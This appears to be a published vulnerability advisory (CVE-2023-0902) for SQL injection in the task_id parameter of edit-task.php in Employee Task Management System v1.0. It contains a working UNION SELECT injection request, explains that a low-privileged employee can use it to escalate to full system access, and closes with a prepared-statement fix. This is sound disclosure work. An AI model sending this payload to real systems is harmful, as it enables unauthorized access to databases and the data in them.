# Exploit Title:  Employee Task Management System v1.0 - SQL Injection on edit-task.php
# Exploit Author: Muhammad Navaid Zafar Ansari
# Date: 17 February 2023

### CVE Assigned:
**[CVE-2023-0902](** [](, [](

### Author: 
> Muhammad Navaid Zafar Ansari

### Vendor Homepage:

### Software Link:
> [Employee Task Management System](

### Version:
> v 1.0

# Tested on: Windows 11

### SQL Injection
> SQL Injection is a type of vulnerability in web applications that allows an attacker to execute unauthorized SQL queries on the database by exploiting the application's failure to properly validate user input. The attacker can use this vulnerability to bypass the security measures put in place by the application, allowing them to access or modify sensitive data, or even take control of the entire system. SQL Injection attacks can have severe consequences, including data loss, financial loss, reputational damage, and legal liability. To prevent SQL Injection attacks, developers should properly sanitize and validate all user input, and implement strong security measures, such as input validation, output encoding, parameterized queries, and access controls. Users should also be aware of the risks of SQL Injection attacks and take appropriate measures to protect their data.

### Affected Page:
> edit-task.php

> On this page task_id parameter is vulnerable to SQL Injection Attack

### Description:
> The employee task management system supports two roles of users, one is admin, and another is a normal employee. the detail of role is given below

+ Admin user has full access to the system 
+ Employee user has only a few menu access i.s. Task Management (only assigned tasks) and Attendance (clock In and out)

> So, if the admin assigns a task to a normal employee, an employee could perform the SQL Injection by editing that task from his/her profile. Therefore, low-privileged users could able to get the access full system.

### Proof of Concept:
> Following steps are involved:

+ Admin assigned a task to an employee (ABC)
+ ABC employee edit the task and could perform the SQL injection with vulnerable parameter (edit-task.php?task_id=765)

### Request:
GET /etms/edit-task.php?task_id=765%27+and+false+union+select+1,version(),3,database(),user(),6,7--+- HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=ntknjcf821q2u3h85c14qo1r91
Connection: close

### Response:

### Recommendation:
> Whoever uses this CMS, should update line no 27 and 28 of edit-task.php with the following code to avoid SQL Injection attack:
Old Code:
$sql = "SELECT * FROM task_info WHERE task_id='$task_id' ";
$info = $obj_admin->manage_all_info($sql);

New Code: 
$sql = $obj_admin->db->prepare("SELECT * FROM task_info WHERE task_id=:task_id ");
$sql->bindparam(':task_id', $task_id);
$row = $sql->fetch(PDO::FETCH_ASSOC);

Thank you for reading for more demo visit my github: